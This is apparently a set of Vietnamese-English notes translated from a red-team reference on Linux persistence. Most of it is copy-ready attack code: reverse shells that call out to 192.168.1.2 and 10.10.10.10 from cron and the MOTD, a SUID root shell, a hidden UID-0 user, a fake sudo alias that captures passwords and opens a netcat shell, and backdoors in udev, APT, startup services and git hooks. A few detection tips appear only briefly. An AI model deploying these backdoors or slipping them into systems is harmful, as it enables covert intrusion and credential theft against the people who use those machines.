Linux Persistence

Linux Persistence

https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#summary

Summary

Basic reverse shell

Lắng nghe từ mục tiêu qua port 4242

ncat --udp -lvp 4242

ncat --sctp -lvp 4242

ncat --tcp -lvp 4242

Add a root user

sudo useradd -ou 0 -g 0 john

sudo passwd john

echo "linuxpassword" | passwd --stdin john

List Users: cut -d: -f1 /etc/passwd

Check root user: awk -F: '$3 == 0 {print $1}' /etc/passwd

Suid Binary

Sửa đổi Suid cho phép tệp thực thi chạy với quyền chủ sở hữu của nó

Tệp trong /var/tmp có thể tồn tại sau nhiều lần reboot

TMPDIR2="/var/tmp"

echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c

gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null

rm $TMPDIR2/croissant.c

chown root:root $TMPDIR2/croissant

chmod 4777 $TMPDIR2/croissant

Regularly audit SUID files: Sử dụng lệnh như find / -perm -u=s -type f 2>/dev/null to list SUID files and examine them for suspicious activity.

File Integrity Monitoring (FIM)

Intrusion Detection Systems (IDS)

Crontab - Reverse shell

Lệnh tạo reverse shell liên tục tự động kích hoạt khi khởi động lại hệ thống, cố gắng thiết lập kết nối tới địa chỉ IP 192.168.1.2 trên cổng 4242.

(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null

crontab - l để giám sát lập lịch

Backdooring a user's bash_rc

.bashrc (nằm trong thư mục home của user) là shell script that Bash thực thi khi mà một user bắt đầu một phiên shell tương tác(opens a new terminal window, for example).

(FR/EN Version)

TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"

cat << EOF > /tmp/$TMPNAME2

alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '

EOF

if [ -f ~/.bashrc ]; then

cat /tmp/$TMPNAME2 >> ~/.bashrc

fi

if [ -f ~/.zshrc ]; then

cat /tmp/$TMPNAME2 >> ~/.zshrc

fi

rm /tmp/$TMPNAME2

or add the following line inside its .bashrc file.

$ chmod u+x ~/.hidden/fakesudo $ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc

and create the fakesudo script.

read -sp "[sudo] password for $USER: " sudopass

echo ""

sleep 2

echo "Sorry, try again."

echo $sudopass >> /tmp/pass.txt

/usr/bin/sudo $@

Kiểm tra file, check log modify file, set quyền

Backdooring a startup service

  • Edit /etc/network/if-up.d/upstart file

RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"

sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart

Backdooring Message of the Day

The MOTD là text message hiển thị vs user khi họ đăng nhập vào Linux system, often via SSH. Nó nằm tại /etc/motd hoặc được tạo bởi thư mục /etc/update-motd.d/

  • Edit /etc/update-motd.d/00-header file

echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/update-motd.d/00-header

Check /etc/motd ,/etc/update-motd.d/ /etc/update-motd.d/00-header cho các hành vi, code đáng ngờ (Các file này cần quyền root để sửa đổi).

Giám sát log xác thực (/var/log/auth.log or similar) for unexpected command executions during logins.

Backdooring a user startup file

Linux, write a file in ~/.config/autostart/NAME_OF_FILE.desktop

In : ~/.config/autostart/*.desktop

[Desktop Entry]

Type=Application

Name=Welcome

Exec=/var/lib/gnome-welcome-tour

AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide

OnlyShowIn=GNOME;

X-GNOME-Autostart-enabled=false

Backdooring a driver

echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null

Kiểm tra /etc/udev/rules.d/, /var/log/syslog

Sử dụng các công cụ như rkhunter hoặc chkrootkit

Backdooring the APT

If you can create a file on the apt.conf.d directory with: APT::Update::Pre-Invoke {"CMD"}; Next time "apt-get update" is done, your CMD will be executed!

echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor

Backdooring the SSH

Add an ssh key into the ~/.ssh folder.

  1. ssh-keygen

  2. write the content of ~/.ssh/id_rsa.pub into ~/.ssh/authorized_keys

  3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys

Backdooring Git

Backdooring git có thể là một cách hữu ích để có được persistence mà không cần quyền truy cập root. Cần đặc biệt cẩn thận để đảm bảo rằng các lệnh backdoor không tạo ra đầu ra, nếu không thì persistence rất dễ nhận thấy.

Git Configs

Có nhiều git config variables thực thi lệnh tùy ý khi một số hành động nhất định được thực hiện. Như added bonus, git configs có thể được chỉ định theo nhiều cách dẫn đến các cơ hội backdoor bổ sung. Configs có thể đặt ở user level (~/.gitconfig), ở repository level (path/to/repo/.git/config), và đôi khi thông qua environment variables.

core.editor thực thi bất cứ khi nào git cần cung cấp cho user một text editor (e.g. git rebase -i, git commit --amend). Biến môi trường tương đương là GIT_EDITOR.

[core]

editor = nohup BACKDOOR >/dev/null 2>&1 & ${VISUAL:-${EDITOR:-emacs}}

Giải thích: nohup BACKDOOR >/dev/null 2>&1 &:

  • nohup: Ngăn không cho lệnh bị chấm dứt khi người dùng đăng xuất hoặc đóng terminal.

  • BACKDOOR: Đây là một chỗ dành sẵn cho lệnh độc hại mà kẻ tấn công muốn thực thi.

  • >/dev/null 2>&1: Chuyển hướng cả đầu ra tiêu chuẩn (stdout) và lỗi tiêu chuẩn (stderr) đến /dev/null, giúp ẩn đi bất kỳ đầu ra nào từ lệnh.

  • &: Chạy lệnh trong nền, do đó nó không gây ảnh hưởng đến phiên làm việc chỉnh sửa của người dùng.

${VISUAL:-${EDITOR:-emacs}}: Đây là một cơ chế dự phòng. Nếu biến môi trường VISUAL được đặt, nó sẽ sử dụng trình soạn thảo đó. Nếu không, nó sẽ sử dụng biến môi trường EDITOR, và nếu không có biến nào được đặt, nó sẽ mặc định sử dụng emacs

core.pager được thực thi bất cứ khi nào git cần lượng lớn dữ liệu (e.g. git diff, git log, git show). Biến môi trường tương đương là GIT_PAGER.

[core]

pager = nohup BACKDOOR >/dev/null 2>&1 & ${PAGER:-less}

core.sshCommand được thực thi bất cứ khi nào git cần tương tác với remote ssh repository (e.g. git fetch, git pull, git push). Biến môi trường tương đương là GIT_SSH or GIT_SSH_COMMAND.

[core]

sshCommand = nohup BACKDOOR >/dev/null 2>&1 & ssh [ssh]

variant = ssh

Lưu ý ssh.variant (GIT_SSH_VARIANT) về mặt kỹ thuật là tùy chọn, nhưng nếu không có nó git sẽ chạy sshCommand 2 lần liên tiếp. (Lần đầu để xác định biến thể SSH variant và lần thứu hai để truyền cho nó các tham số chính xác.)

Git Hooks

Git hooks là những chương trình bạn có thể đặt trong thư mục hooks để kích hoạt hành động tại một số thời điểm nhất định trong quá trình thực thi git. Mặc định,, hooks được lưu trữ trong thư mục .git/hooks và được chạy khi tên chúng khớp với hành động git hiện tại và hook được đánh dấu là có thể thực thi (i.e. chmod +x). Các tập lệnh hook có khả năng hữu ích để backdoor:

  • pre-commit is run just before git commit is executed.

  • pre-push is run just before git push is executed.

  • post-checkout is run just after git checkout is executed.

  • post-merge is run after git merge or after git pull applies new changes.

Ngoài việc tạo ra backdoor, một số hook trên có thể được sử dụng để lén đưa những thay đổi độc hại vào kho lưu trữ mà người dùng không hay biết.

Cuối cùng, có thể tạo ra backdoor cho tất cả git hooks của người dùng bằng cách đặt biến git config core.hooksPath vào một thư mục chung trong tệp user-level git config (~/.gitconfig). Lưu ý rằng phương pháp này sẽ phá vỡ motij git hook cụ thể của kho lưu trữ người dùng hiện có.

Additional Persistence Options

References